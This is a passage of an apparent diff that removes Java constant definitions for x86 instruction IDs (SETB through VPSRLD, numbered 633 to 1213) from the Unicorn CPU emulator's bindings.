UC_X86_INS_SETB = 633; - public static final int UC_X86_INS_SETE = 634; - public static final int UC_X86_INS_SETGE = 635; - public static final int UC_X86_INS_SETG = 636; - public static final int UC_X86_INS_SETLE = 637; - public static final int UC_X86_INS_SETL = 638; - public static final int UC_X86_INS_SETNE = 639; - public static final int UC_X86_INS_SETNO = 640; - public static final int UC_X86_INS_SETNP = 641; - public static final int UC_X86_INS_SETNS = 642; - public static final int UC_X86_INS_SETO = 643; - public static final int UC_X86_INS_SETP = 644; - public static final int UC_X86_INS_SETS = 645; - public static final int UC_X86_INS_SFENCE = 646; - public static final int UC_X86_INS_SGDT = 647; - public static final int UC_X86_INS_SHA1MSG1 = 648; - public static final int UC_X86_INS_SHA1MSG2 = 649; - public static final int UC_X86_INS_SHA1NEXTE = 650; - public static final int UC_X86_INS_SHA1RNDS4 = 651; - public static final int UC_X86_INS_SHA256MSG1 = 652; - public static final int UC_X86_INS_SHA256MSG2 = 653; - public static final int UC_X86_INS_SHA256RNDS2 = 654; - public static final int UC_X86_INS_SHL = 655; - public static final int UC_X86_INS_SHLD = 656; - public static final int UC_X86_INS_SHLX = 657; - public static final int UC_X86_INS_SHR = 658; - public static final int UC_X86_INS_SHRD = 659; - public static final int UC_X86_INS_SHRX = 660; - public static final int UC_X86_INS_SHUFPD = 661; - public static final int UC_X86_INS_SHUFPS = 662; - public static final int UC_X86_INS_SIDT = 663; - public static final int UC_X86_INS_FSIN = 664; - public static final int UC_X86_INS_SKINIT = 665; - public static final int UC_X86_INS_SLDT = 666; - public static final int UC_X86_INS_SMSW = 667; - public static final int UC_X86_INS_SQRTPD = 668; - public static final int UC_X86_INS_SQRTPS = 669; - public static final int UC_X86_INS_SQRTSD = 670; - public static final int UC_X86_INS_SQRTSS = 671; - public static final int UC_X86_INS_FSQRT = 672; - public static final int UC_X86_INS_STAC = 673; - public static final int UC_X86_INS_STC = 674; - public static final int UC_X86_INS_STD = 675; - public static final int UC_X86_INS_STGI = 676; - public static final int UC_X86_INS_STI = 677; - public static final int UC_X86_INS_STMXCSR = 678; - public static final int UC_X86_INS_STOSB = 679; - public static final int UC_X86_INS_STOSD = 680; - public static final int UC_X86_INS_STOSQ = 681; - public static final int UC_X86_INS_STOSW = 682; - public static final int UC_X86_INS_STR = 683; - public static final int UC_X86_INS_FST = 684; - public static final int UC_X86_INS_FSTP = 685; - public static final int UC_X86_INS_FSTPNCE = 686; - public static final int UC_X86_INS_FXCH = 687; - public static final int UC_X86_INS_SUBPD = 688; - public static final int UC_X86_INS_SUBPS = 689; - public static final int UC_X86_INS_FSUBR = 690; - public static final int UC_X86_INS_FISUBR = 691; - public static final int UC_X86_INS_FSUBRP = 692; - public static final int UC_X86_INS_SUBSD = 693; - public static final int UC_X86_INS_SUBSS = 694; - public static final int UC_X86_INS_FSUB = 695; - public static final int UC_X86_INS_FISUB = 696; - public static final int UC_X86_INS_FSUBP = 697; - public static final int UC_X86_INS_SWAPGS = 698; - public static final int UC_X86_INS_SYSCALL = 699; - public static final int UC_X86_INS_SYSENTER = 700; - public static final int UC_X86_INS_SYSEXIT = 701; - public static final int UC_X86_INS_SYSRET = 702; - public static final int UC_X86_INS_T1MSKC = 703; - public static final int UC_X86_INS_TEST = 704; - public static final int UC_X86_INS_UD2 = 705; - public static final int UC_X86_INS_FTST = 706; - public static final int UC_X86_INS_TZCNT = 707; - public static final int UC_X86_INS_TZMSK = 708; - public static final int UC_X86_INS_FUCOMPI = 709; - public static final int UC_X86_INS_FUCOMI = 710; - public static final int UC_X86_INS_FUCOMPP = 711; - public static final int UC_X86_INS_FUCOMP = 712; - public static final int UC_X86_INS_FUCOM = 713; - public static final int UC_X86_INS_UD2B = 714; - public static final int UC_X86_INS_UNPCKHPD = 715; - public static final int UC_X86_INS_UNPCKHPS = 716; - public static final int UC_X86_INS_UNPCKLPD = 717; - public static final int UC_X86_INS_UNPCKLPS = 718; - public static final int UC_X86_INS_VADDPD = 719; - public static final int UC_X86_INS_VADDPS = 720; - public static final int UC_X86_INS_VADDSD = 721; - public static final int UC_X86_INS_VADDSS = 722; - public static final int UC_X86_INS_VADDSUBPD = 723; - public static final int UC_X86_INS_VADDSUBPS = 724; - public static final int UC_X86_INS_VAESDECLAST = 725; - public static final int UC_X86_INS_VAESDEC = 726; - public static final int UC_X86_INS_VAESENCLAST = 727; - public static final int UC_X86_INS_VAESENC = 728; - public static final int UC_X86_INS_VAESIMC = 729; - public static final int UC_X86_INS_VAESKEYGENASSIST = 730; - public static final int UC_X86_INS_VALIGND = 731; - public static final int UC_X86_INS_VALIGNQ = 732; - public static final int UC_X86_INS_VANDNPD = 733; - public static final int UC_X86_INS_VANDNPS = 734; - public static final int UC_X86_INS_VANDPD = 735; - public static final int UC_X86_INS_VANDPS = 736; - public static final int UC_X86_INS_VBLENDMPD = 737; - public static final int UC_X86_INS_VBLENDMPS = 738; - public static final int UC_X86_INS_VBLENDPD = 739; - public static final int UC_X86_INS_VBLENDPS = 740; - public static final int UC_X86_INS_VBLENDVPD = 741; - public static final int UC_X86_INS_VBLENDVPS = 742; - public static final int UC_X86_INS_VBROADCASTF128 = 743; - public static final int UC_X86_INS_VBROADCASTI32X4 = 744; - public static final int UC_X86_INS_VBROADCASTI64X4 = 745; - public static final int UC_X86_INS_VBROADCASTSD = 746; - public static final int UC_X86_INS_VBROADCASTSS = 747; - public static final int UC_X86_INS_VCMPPD = 748; - public static final int UC_X86_INS_VCMPPS = 749; - public static final int UC_X86_INS_VCMPSD = 750; - public static final int UC_X86_INS_VCMPSS = 751; - public static final int UC_X86_INS_VCOMPRESSPD = 752; - public static final int UC_X86_INS_VCOMPRESSPS = 753; - public static final int UC_X86_INS_VCVTDQ2PD = 754; - public static final int UC_X86_INS_VCVTDQ2PS = 755; - public static final int UC_X86_INS_VCVTPD2DQX = 756; - public static final int UC_X86_INS_VCVTPD2DQ = 757; - public static final int UC_X86_INS_VCVTPD2PSX = 758; - public static final int UC_X86_INS_VCVTPD2PS = 759; - public static final int UC_X86_INS_VCVTPD2UDQ = 760; - public static final int UC_X86_INS_VCVTPH2PS = 761; - public static final int UC_X86_INS_VCVTPS2DQ = 762; - public static final int UC_X86_INS_VCVTPS2PD = 763; - public static final int UC_X86_INS_VCVTPS2PH = 764; - public static final int UC_X86_INS_VCVTPS2UDQ = 765; - public static final int UC_X86_INS_VCVTSD2SI = 766; - public static final int UC_X86_INS_VCVTSD2USI = 767; - public static final int UC_X86_INS_VCVTSS2SI = 768; - public static final int UC_X86_INS_VCVTSS2USI = 769; - public static final int UC_X86_INS_VCVTTPD2DQX = 770; - public static final int UC_X86_INS_VCVTTPD2DQ = 771; - public static final int UC_X86_INS_VCVTTPD2UDQ = 772; - public static final int UC_X86_INS_VCVTTPS2DQ = 773; - public static final int UC_X86_INS_VCVTTPS2UDQ = 774; - public static final int UC_X86_INS_VCVTUDQ2PD = 775; - public static final int UC_X86_INS_VCVTUDQ2PS = 776; - public static final int UC_X86_INS_VDIVPD = 777; - public static final int UC_X86_INS_VDIVPS = 778; - public static final int UC_X86_INS_VDIVSD = 779; - public static final int UC_X86_INS_VDIVSS = 780; - public static final int UC_X86_INS_VDPPD = 781; - public static final int UC_X86_INS_VDPPS = 782; - public static final int UC_X86_INS_VERR = 783; - public static final int UC_X86_INS_VERW = 784; - public static final int UC_X86_INS_VEXP2PD = 785; - public static final int UC_X86_INS_VEXP2PS = 786; - public static final int UC_X86_INS_VEXPANDPD = 787; - public static final int UC_X86_INS_VEXPANDPS = 788; - public static final int UC_X86_INS_VEXTRACTF128 = 789; - public static final int UC_X86_INS_VEXTRACTF32X4 = 790; - public static final int UC_X86_INS_VEXTRACTF64X4 = 791; - public static final int UC_X86_INS_VEXTRACTI128 = 792; - public static final int UC_X86_INS_VEXTRACTI32X4 = 793; - public static final int UC_X86_INS_VEXTRACTI64X4 = 794; - public static final int UC_X86_INS_VEXTRACTPS = 795; - public static final int UC_X86_INS_VFMADD132PD = 796; - public static final int UC_X86_INS_VFMADD132PS = 797; - public static final int UC_X86_INS_VFMADDPD = 798; - public static final int UC_X86_INS_VFMADD213PD = 799; - public static final int UC_X86_INS_VFMADD231PD = 800; - public static final int UC_X86_INS_VFMADDPS = 801; - public static final int UC_X86_INS_VFMADD213PS = 802; - public static final int UC_X86_INS_VFMADD231PS = 803; - public static final int UC_X86_INS_VFMADDSD = 804; - public static final int UC_X86_INS_VFMADD213SD = 805; - public static final int UC_X86_INS_VFMADD132SD = 806; - public static final int UC_X86_INS_VFMADD231SD = 807; - public static final int UC_X86_INS_VFMADDSS = 808; - public static final int UC_X86_INS_VFMADD213SS = 809; - public static final int UC_X86_INS_VFMADD132SS = 810; - public static final int UC_X86_INS_VFMADD231SS = 811; - public static final int UC_X86_INS_VFMADDSUB132PD = 812; - public static final int UC_X86_INS_VFMADDSUB132PS = 813; - public static final int UC_X86_INS_VFMADDSUBPD = 814; - public static final int UC_X86_INS_VFMADDSUB213PD = 815; - public static final int UC_X86_INS_VFMADDSUB231PD = 816; - public static final int UC_X86_INS_VFMADDSUBPS = 817; - public static final int UC_X86_INS_VFMADDSUB213PS = 818; - public static final int UC_X86_INS_VFMADDSUB231PS = 819; - public static final int UC_X86_INS_VFMSUB132PD = 820; - public static final int UC_X86_INS_VFMSUB132PS = 821; - public static final int UC_X86_INS_VFMSUBADD132PD = 822; - public static final int UC_X86_INS_VFMSUBADD132PS = 823; - public static final int UC_X86_INS_VFMSUBADDPD = 824; - public static final int UC_X86_INS_VFMSUBADD213PD = 825; - public static final int UC_X86_INS_VFMSUBADD231PD = 826; - public static final int UC_X86_INS_VFMSUBADDPS = 827; - public static final int UC_X86_INS_VFMSUBADD213PS = 828; - public static final int UC_X86_INS_VFMSUBADD231PS = 829; - public static final int UC_X86_INS_VFMSUBPD = 830; - public static final int UC_X86_INS_VFMSUB213PD = 831; - public static final int UC_X86_INS_VFMSUB231PD = 832; - public static final int UC_X86_INS_VFMSUBPS = 833; - public static final int UC_X86_INS_VFMSUB213PS = 834; - public static final int UC_X86_INS_VFMSUB231PS = 835; - public static final int UC_X86_INS_VFMSUBSD = 836; - public static final int UC_X86_INS_VFMSUB213SD = 837; - public static final int UC_X86_INS_VFMSUB132SD = 838; - public static final int UC_X86_INS_VFMSUB231SD = 839; - public static final int UC_X86_INS_VFMSUBSS = 840; - public static final int UC_X86_INS_VFMSUB213SS = 841; - public static final int UC_X86_INS_VFMSUB132SS = 842; - public static final int UC_X86_INS_VFMSUB231SS = 843; - public static final int UC_X86_INS_VFNMADD132PD = 844; - public static final int UC_X86_INS_VFNMADD132PS = 845; - public static final int UC_X86_INS_VFNMADDPD = 846; - public static final int UC_X86_INS_VFNMADD213PD = 847; - public static final int UC_X86_INS_VFNMADD231PD = 848; - public static final int UC_X86_INS_VFNMADDPS = 849; - public static final int UC_X86_INS_VFNMADD213PS = 850; - public static final int UC_X86_INS_VFNMADD231PS = 851; - public static final int UC_X86_INS_VFNMADDSD = 852; - public static final int UC_X86_INS_VFNMADD213SD = 853; - public static final int UC_X86_INS_VFNMADD132SD = 854; - public static final int UC_X86_INS_VFNMADD231SD = 855; - public static final int UC_X86_INS_VFNMADDSS = 856; - public static final int UC_X86_INS_VFNMADD213SS = 857; - public static final int UC_X86_INS_VFNMADD132SS = 858; - public static final int UC_X86_INS_VFNMADD231SS = 859; - public static final int UC_X86_INS_VFNMSUB132PD = 860; - public static final int UC_X86_INS_VFNMSUB132PS = 861; - public static final int UC_X86_INS_VFNMSUBPD = 862; - public static final int UC_X86_INS_VFNMSUB213PD = 863; - public static final int UC_X86_INS_VFNMSUB231PD = 864; - public static final int UC_X86_INS_VFNMSUBPS = 865; - public static final int UC_X86_INS_VFNMSUB213PS = 866; - public static final int UC_X86_INS_VFNMSUB231PS = 867; - public static final int UC_X86_INS_VFNMSUBSD = 868; - public static final int UC_X86_INS_VFNMSUB213SD = 869; - public static final int UC_X86_INS_VFNMSUB132SD = 870; - public static final int UC_X86_INS_VFNMSUB231SD = 871; - public static final int UC_X86_INS_VFNMSUBSS = 872; - public static final int UC_X86_INS_VFNMSUB213SS = 873; - public static final int UC_X86_INS_VFNMSUB132SS = 874; - public static final int UC_X86_INS_VFNMSUB231SS = 875; - public static final int UC_X86_INS_VFRCZPD = 876; - public static final int UC_X86_INS_VFRCZPS = 877; - public static final int UC_X86_INS_VFRCZSD = 878; - public static final int UC_X86_INS_VFRCZSS = 879; - public static final int UC_X86_INS_VORPD = 880; - public static final int UC_X86_INS_VORPS = 881; - public static final int UC_X86_INS_VXORPD = 882; - public static final int UC_X86_INS_VXORPS = 883; - public static final int UC_X86_INS_VGATHERDPD = 884; - public static final int UC_X86_INS_VGATHERDPS = 885; - public static final int UC_X86_INS_VGATHERPF0DPD = 886; - public static final int UC_X86_INS_VGATHERPF0DPS = 887; - public static final int UC_X86_INS_VGATHERPF0QPD = 888; - public static final int UC_X86_INS_VGATHERPF0QPS = 889; - public static final int UC_X86_INS_VGATHERPF1DPD = 890; - public static final int UC_X86_INS_VGATHERPF1DPS = 891; - public static final int UC_X86_INS_VGATHERPF1QPD = 892; - public static final int UC_X86_INS_VGATHERPF1QPS = 893; - public static final int UC_X86_INS_VGATHERQPD = 894; - public static final int UC_X86_INS_VGATHERQPS = 895; - public static final int UC_X86_INS_VHADDPD = 896; - public static final int UC_X86_INS_VHADDPS = 897; - public static final int UC_X86_INS_VHSUBPD = 898; - public static final int UC_X86_INS_VHSUBPS = 899; - public static final int UC_X86_INS_VINSERTF128 = 900; - public static final int UC_X86_INS_VINSERTF32X4 = 901; - public static final int UC_X86_INS_VINSERTF32X8 = 902; - public static final int UC_X86_INS_VINSERTF64X2 = 903; - public static final int UC_X86_INS_VINSERTF64X4 = 904; - public static final int UC_X86_INS_VINSERTI128 = 905; - public static final int UC_X86_INS_VINSERTI32X4 = 906; - public static final int UC_X86_INS_VINSERTI32X8 = 907; - public static final int UC_X86_INS_VINSERTI64X2 = 908; - public static final int UC_X86_INS_VINSERTI64X4 = 909; - public static final int UC_X86_INS_VINSERTPS = 910; - public static final int UC_X86_INS_VLDDQU = 911; - public static final int UC_X86_INS_VLDMXCSR = 912; - public static final int UC_X86_INS_VMASKMOVDQU = 913; - public static final int UC_X86_INS_VMASKMOVPD = 914; - public static final int UC_X86_INS_VMASKMOVPS = 915; - public static final int UC_X86_INS_VMAXPD = 916; - public static final int UC_X86_INS_VMAXPS = 917; - public static final int UC_X86_INS_VMAXSD = 918; - public static final int UC_X86_INS_VMAXSS = 919; - public static final int UC_X86_INS_VMCALL = 920; - public static final int UC_X86_INS_VMCLEAR = 921; - public static final int UC_X86_INS_VMFUNC = 922; - public static final int UC_X86_INS_VMINPD = 923; - public static final int UC_X86_INS_VMINPS = 924; - public static final int UC_X86_INS_VMINSD = 925; - public static final int UC_X86_INS_VMINSS = 926; - public static final int UC_X86_INS_VMLAUNCH = 927; - public static final int UC_X86_INS_VMLOAD = 928; - public static final int UC_X86_INS_VMMCALL = 929; - public static final int UC_X86_INS_VMOVQ = 930; - public static final int UC_X86_INS_VMOVDDUP = 931; - public static final int UC_X86_INS_VMOVD = 932; - public static final int UC_X86_INS_VMOVDQA32 = 933; - public static final int UC_X86_INS_VMOVDQA64 = 934; - public static final int UC_X86_INS_VMOVDQA = 935; - public static final int UC_X86_INS_VMOVDQU16 = 936; - public static final int UC_X86_INS_VMOVDQU32 = 937; - public static final int UC_X86_INS_VMOVDQU64 = 938; - public static final int UC_X86_INS_VMOVDQU8 = 939; - public static final int UC_X86_INS_VMOVDQU = 940; - public static final int UC_X86_INS_VMOVHLPS = 941; - public static final int UC_X86_INS_VMOVHPD = 942; - public static final int UC_X86_INS_VMOVHPS = 943; - public static final int UC_X86_INS_VMOVLHPS = 944; - public static final int UC_X86_INS_VMOVLPD = 945; - public static final int UC_X86_INS_VMOVLPS = 946; - public static final int UC_X86_INS_VMOVMSKPD = 947; - public static final int UC_X86_INS_VMOVMSKPS = 948; - public static final int UC_X86_INS_VMOVNTDQA = 949; - public static final int UC_X86_INS_VMOVNTDQ = 950; - public static final int UC_X86_INS_VMOVNTPD = 951; - public static final int UC_X86_INS_VMOVNTPS = 952; - public static final int UC_X86_INS_VMOVSD = 953; - public static final int UC_X86_INS_VMOVSHDUP = 954; - public static final int UC_X86_INS_VMOVSLDUP = 955; - public static final int UC_X86_INS_VMOVSS = 956; - public static final int UC_X86_INS_VMOVUPD = 957; - public static final int UC_X86_INS_VMOVUPS = 958; - public static final int UC_X86_INS_VMPSADBW = 959; - public static final int UC_X86_INS_VMPTRLD = 960; - public static final int UC_X86_INS_VMPTRST = 961; - public static final int UC_X86_INS_VMREAD = 962; - public static final int UC_X86_INS_VMRESUME = 963; - public static final int UC_X86_INS_VMRUN = 964; - public static final int UC_X86_INS_VMSAVE = 965; - public static final int UC_X86_INS_VMULPD = 966; - public static final int UC_X86_INS_VMULPS = 967; - public static final int UC_X86_INS_VMULSD = 968; - public static final int UC_X86_INS_VMULSS = 969; - public static final int UC_X86_INS_VMWRITE = 970; - public static final int UC_X86_INS_VMXOFF = 971; - public static final int UC_X86_INS_VMXON = 972; - public static final int UC_X86_INS_VPABSB = 973; - public static final int UC_X86_INS_VPABSD = 974; - public static final int UC_X86_INS_VPABSQ = 975; - public static final int UC_X86_INS_VPABSW = 976; - public static final int UC_X86_INS_VPACKSSDW = 977; - public static final int UC_X86_INS_VPACKSSWB = 978; - public static final int UC_X86_INS_VPACKUSDW = 979; - public static final int UC_X86_INS_VPACKUSWB = 980; - public static final int UC_X86_INS_VPADDB = 981; - public static final int UC_X86_INS_VPADDD = 982; - public static final int UC_X86_INS_VPADDQ = 983; - public static final int UC_X86_INS_VPADDSB = 984; - public static final int UC_X86_INS_VPADDSW = 985; - public static final int UC_X86_INS_VPADDUSB = 986; - public static final int UC_X86_INS_VPADDUSW = 987; - public static final int UC_X86_INS_VPADDW = 988; - public static final int UC_X86_INS_VPALIGNR = 989; - public static final int UC_X86_INS_VPANDD = 990; - public static final int UC_X86_INS_VPANDND = 991; - public static final int UC_X86_INS_VPANDNQ = 992; - public static final int UC_X86_INS_VPANDN = 993; - public static final int UC_X86_INS_VPANDQ = 994; - public static final int UC_X86_INS_VPAND = 995; - public static final int UC_X86_INS_VPAVGB = 996; - public static final int UC_X86_INS_VPAVGW = 997; - public static final int UC_X86_INS_VPBLENDD = 998; - public static final int UC_X86_INS_VPBLENDMB = 999; - public static final int UC_X86_INS_VPBLENDMD = 1000; - public static final int UC_X86_INS_VPBLENDMQ = 1001; - public static final int UC_X86_INS_VPBLENDMW = 1002; - public static final int UC_X86_INS_VPBLENDVB = 1003; - public static final int UC_X86_INS_VPBLENDW = 1004; - public static final int UC_X86_INS_VPBROADCASTB = 1005; - public static final int UC_X86_INS_VPBROADCASTD = 1006; - public static final int UC_X86_INS_VPBROADCASTMB2Q = 1007; - public static final int UC_X86_INS_VPBROADCASTMW2D = 1008; - public static final int UC_X86_INS_VPBROADCASTQ = 1009; - public static final int UC_X86_INS_VPBROADCASTW = 1010; - public static final int UC_X86_INS_VPCLMULQDQ = 1011; - public static final int UC_X86_INS_VPCMOV = 1012; - public static final int UC_X86_INS_VPCMPB = 1013; - public static final int UC_X86_INS_VPCMPD = 1014; - public static final int UC_X86_INS_VPCMPEQB = 1015; - public static final int UC_X86_INS_VPCMPEQD = 1016; - public static final int UC_X86_INS_VPCMPEQQ = 1017; - public static final int UC_X86_INS_VPCMPEQW = 1018; - public static final int UC_X86_INS_VPCMPESTRI = 1019; - public static final int UC_X86_INS_VPCMPESTRM = 1020; - public static final int UC_X86_INS_VPCMPGTB = 1021; - public static final int UC_X86_INS_VPCMPGTD = 1022; - public static final int UC_X86_INS_VPCMPGTQ = 1023; - public static final int UC_X86_INS_VPCMPGTW = 1024; - public static final int UC_X86_INS_VPCMPISTRI = 1025; - public static final int UC_X86_INS_VPCMPISTRM = 1026; - public static final int UC_X86_INS_VPCMPQ = 1027; - public static final int UC_X86_INS_VPCMPUB = 1028; - public static final int UC_X86_INS_VPCMPUD = 1029; - public static final int UC_X86_INS_VPCMPUQ = 1030; - public static final int UC_X86_INS_VPCMPUW = 1031; - public static final int UC_X86_INS_VPCMPW = 1032; - public static final int UC_X86_INS_VPCOMB = 1033; - public static final int UC_X86_INS_VPCOMD = 1034; - public static final int UC_X86_INS_VPCOMPRESSD = 1035; - public static final int UC_X86_INS_VPCOMPRESSQ = 1036; - public static final int UC_X86_INS_VPCOMQ = 1037; - public static final int UC_X86_INS_VPCOMUB = 1038; - public static final int UC_X86_INS_VPCOMUD = 1039; - public static final int UC_X86_INS_VPCOMUQ = 1040; - public static final int UC_X86_INS_VPCOMUW = 1041; - public static final int UC_X86_INS_VPCOMW = 1042; - public static final int UC_X86_INS_VPCONFLICTD = 1043; - public static final int UC_X86_INS_VPCONFLICTQ = 1044; - public static final int UC_X86_INS_VPERM2F128 = 1045; - public static final int UC_X86_INS_VPERM2I128 = 1046; - public static final int UC_X86_INS_VPERMD = 1047; - public static final int UC_X86_INS_VPERMI2D = 1048; - public static final int UC_X86_INS_VPERMI2PD = 1049; - public static final int UC_X86_INS_VPERMI2PS = 1050; - public static final int UC_X86_INS_VPERMI2Q = 1051; - public static final int UC_X86_INS_VPERMIL2PD = 1052; - public static final int UC_X86_INS_VPERMIL2PS = 1053; - public static final int UC_X86_INS_VPERMILPD = 1054; - public static final int UC_X86_INS_VPERMILPS = 1055; - public static final int UC_X86_INS_VPERMPD = 1056; - public static final int UC_X86_INS_VPERMPS = 1057; - public static final int UC_X86_INS_VPERMQ = 1058; - public static final int UC_X86_INS_VPERMT2D = 1059; - public static final int UC_X86_INS_VPERMT2PD = 1060; - public static final int UC_X86_INS_VPERMT2PS = 1061; - public static final int UC_X86_INS_VPERMT2Q = 1062; - public static final int UC_X86_INS_VPEXPANDD = 1063; - public static final int UC_X86_INS_VPEXPANDQ = 1064; - public static final int UC_X86_INS_VPEXTRB = 1065; - public static final int UC_X86_INS_VPEXTRD = 1066; - public static final int UC_X86_INS_VPEXTRQ = 1067; - public static final int UC_X86_INS_VPEXTRW = 1068; - public static final int UC_X86_INS_VPGATHERDD = 1069; - public static final int UC_X86_INS_VPGATHERDQ = 1070; - public static final int UC_X86_INS_VPGATHERQD = 1071; - public static final int UC_X86_INS_VPGATHERQQ = 1072; - public static final int UC_X86_INS_VPHADDBD = 1073; - public static final int UC_X86_INS_VPHADDBQ = 1074; - public static final int UC_X86_INS_VPHADDBW = 1075; - public static final int UC_X86_INS_VPHADDDQ = 1076; - public static final int UC_X86_INS_VPHADDD = 1077; - public static final int UC_X86_INS_VPHADDSW = 1078; - public static final int UC_X86_INS_VPHADDUBD = 1079; - public static final int UC_X86_INS_VPHADDUBQ = 1080; - public static final int UC_X86_INS_VPHADDUBW = 1081; - public static final int UC_X86_INS_VPHADDUDQ = 1082; - public static final int UC_X86_INS_VPHADDUWD = 1083; - public static final int UC_X86_INS_VPHADDUWQ = 1084; - public static final int UC_X86_INS_VPHADDWD = 1085; - public static final int UC_X86_INS_VPHADDWQ = 1086; - public static final int UC_X86_INS_VPHADDW = 1087; - public static final int UC_X86_INS_VPHMINPOSUW = 1088; - public static final int UC_X86_INS_VPHSUBBW = 1089; - public static final int UC_X86_INS_VPHSUBDQ = 1090; - public static final int UC_X86_INS_VPHSUBD = 1091; - public static final int UC_X86_INS_VPHSUBSW = 1092; - public static final int UC_X86_INS_VPHSUBWD = 1093; - public static final int UC_X86_INS_VPHSUBW = 1094; - public static final int UC_X86_INS_VPINSRB = 1095; - public static final int UC_X86_INS_VPINSRD = 1096; - public static final int UC_X86_INS_VPINSRQ = 1097; - public static final int UC_X86_INS_VPINSRW = 1098; - public static final int UC_X86_INS_VPLZCNTD = 1099; - public static final int UC_X86_INS_VPLZCNTQ = 1100; - public static final int UC_X86_INS_VPMACSDD = 1101; - public static final int UC_X86_INS_VPMACSDQH = 1102; - public static final int UC_X86_INS_VPMACSDQL = 1103; - public static final int UC_X86_INS_VPMACSSDD = 1104; - public static final int UC_X86_INS_VPMACSSDQH = 1105; - public static final int UC_X86_INS_VPMACSSDQL = 1106; - public static final int UC_X86_INS_VPMACSSWD = 1107; - public static final int UC_X86_INS_VPMACSSWW = 1108; - public static final int UC_X86_INS_VPMACSWD = 1109; - public static final int UC_X86_INS_VPMACSWW = 1110; - public static final int UC_X86_INS_VPMADCSSWD = 1111; - public static final int UC_X86_INS_VPMADCSWD = 1112; - public static final int UC_X86_INS_VPMADDUBSW = 1113; - public static final int UC_X86_INS_VPMADDWD = 1114; - public static final int UC_X86_INS_VPMASKMOVD = 1115; - public static final int UC_X86_INS_VPMASKMOVQ = 1116; - public static final int UC_X86_INS_VPMAXSB = 1117; - public static final int UC_X86_INS_VPMAXSD = 1118; - public static final int UC_X86_INS_VPMAXSQ = 1119; - public static final int UC_X86_INS_VPMAXSW = 1120; - public static final int UC_X86_INS_VPMAXUB = 1121; - public static final int UC_X86_INS_VPMAXUD = 1122; - public static final int UC_X86_INS_VPMAXUQ = 1123; - public static final int UC_X86_INS_VPMAXUW = 1124; - public static final int UC_X86_INS_VPMINSB = 1125; - public static final int UC_X86_INS_VPMINSD = 1126; - public static final int UC_X86_INS_VPMINSQ = 1127; - public static final int UC_X86_INS_VPMINSW = 1128; - public static final int UC_X86_INS_VPMINUB = 1129; - public static final int UC_X86_INS_VPMINUD = 1130; - public static final int UC_X86_INS_VPMINUQ = 1131; - public static final int UC_X86_INS_VPMINUW = 1132; - public static final int UC_X86_INS_VPMOVDB = 1133; - public static final int UC_X86_INS_VPMOVDW = 1134; - public static final int UC_X86_INS_VPMOVM2B = 1135; - public static final int UC_X86_INS_VPMOVM2D = 1136; - public static final int UC_X86_INS_VPMOVM2Q = 1137; - public static final int UC_X86_INS_VPMOVM2W = 1138; - public static final int UC_X86_INS_VPMOVMSKB = 1139; - public static final int UC_X86_INS_VPMOVQB = 1140; - public static final int UC_X86_INS_VPMOVQD = 1141; - public static final int UC_X86_INS_VPMOVQW = 1142; - public static final int UC_X86_INS_VPMOVSDB = 1143; - public static final int UC_X86_INS_VPMOVSDW = 1144; - public static final int UC_X86_INS_VPMOVSQB = 1145; - public static final int UC_X86_INS_VPMOVSQD = 1146; - public static final int UC_X86_INS_VPMOVSQW = 1147; - public static final int UC_X86_INS_VPMOVSXBD = 1148; - public static final int UC_X86_INS_VPMOVSXBQ = 1149; - public static final int UC_X86_INS_VPMOVSXBW = 1150; - public static final int UC_X86_INS_VPMOVSXDQ = 1151; - public static final int UC_X86_INS_VPMOVSXWD = 1152; - public static final int UC_X86_INS_VPMOVSXWQ = 1153; - public static final int UC_X86_INS_VPMOVUSDB = 1154; - public static final int UC_X86_INS_VPMOVUSDW = 1155; - public static final int UC_X86_INS_VPMOVUSQB = 1156; - public static final int UC_X86_INS_VPMOVUSQD = 1157; - public static final int UC_X86_INS_VPMOVUSQW = 1158; - public static final int UC_X86_INS_VPMOVZXBD = 1159; - public static final int UC_X86_INS_VPMOVZXBQ = 1160; - public static final int UC_X86_INS_VPMOVZXBW = 1161; - public static final int UC_X86_INS_VPMOVZXDQ = 1162; - public static final int UC_X86_INS_VPMOVZXWD = 1163; - public static final int UC_X86_INS_VPMOVZXWQ = 1164; - public static final int UC_X86_INS_VPMULDQ = 1165; - public static final int UC_X86_INS_VPMULHRSW = 1166; - public static final int UC_X86_INS_VPMULHUW = 1167; - public static final int UC_X86_INS_VPMULHW = 1168; - public static final int UC_X86_INS_VPMULLD = 1169; - public static final int UC_X86_INS_VPMULLQ = 1170; - public static final int UC_X86_INS_VPMULLW = 1171; - public static final int UC_X86_INS_VPMULUDQ = 1172; - public static final int UC_X86_INS_VPORD = 1173; - public static final int UC_X86_INS_VPORQ = 1174; - public static final int UC_X86_INS_VPOR = 1175; - public static final int UC_X86_INS_VPPERM = 1176; - public static final int UC_X86_INS_VPROTB = 1177; - public static final int UC_X86_INS_VPROTD = 1178; - public static final int UC_X86_INS_VPROTQ = 1179; - public static final int UC_X86_INS_VPROTW = 1180; - public static final int UC_X86_INS_VPSADBW = 1181; - public static final int UC_X86_INS_VPSCATTERDD = 1182; - public static final int UC_X86_INS_VPSCATTERDQ = 1183; - public static final int UC_X86_INS_VPSCATTERQD = 1184; - public static final int UC_X86_INS_VPSCATTERQQ = 1185; - public static final int UC_X86_INS_VPSHAB = 1186; - public static final int UC_X86_INS_VPSHAD = 1187; - public static final int UC_X86_INS_VPSHAQ = 1188; - public static final int UC_X86_INS_VPSHAW = 1189; - public static final int UC_X86_INS_VPSHLB = 1190; - public static final int UC_X86_INS_VPSHLD = 1191; - public static final int UC_X86_INS_VPSHLQ = 1192; - public static final int UC_X86_INS_VPSHLW = 1193; - public static final int UC_X86_INS_VPSHUFB = 1194; - public static final int UC_X86_INS_VPSHUFD = 1195; - public static final int UC_X86_INS_VPSHUFHW = 1196; - public static final int UC_X86_INS_VPSHUFLW = 1197; - public static final int UC_X86_INS_VPSIGNB = 1198; - public static final int UC_X86_INS_VPSIGND = 1199; - public static final int UC_X86_INS_VPSIGNW = 1200; - public static final int UC_X86_INS_VPSLLDQ = 1201; - public static final int UC_X86_INS_VPSLLD = 1202; - public static final int UC_X86_INS_VPSLLQ = 1203; - public static final int UC_X86_INS_VPSLLVD = 1204; - public static final int UC_X86_INS_VPSLLVQ = 1205; - public static final int UC_X86_INS_VPSLLW = 1206; - public static final int UC_X86_INS_VPSRAD = 1207; - public static final int UC_X86_INS_VPSRAQ = 1208; - public static final int UC_X86_INS_VPSRAVD = 1209; - public static final int UC_X86_INS_VPSRAVQ = 1210; - public static final int UC_X86_INS_VPSRAW = 1211; - public static final int UC_X86_INS_VPSRLDQ = 1212; - public static final int UC_X86_INS_VPSRLD = 1213; - public static final int 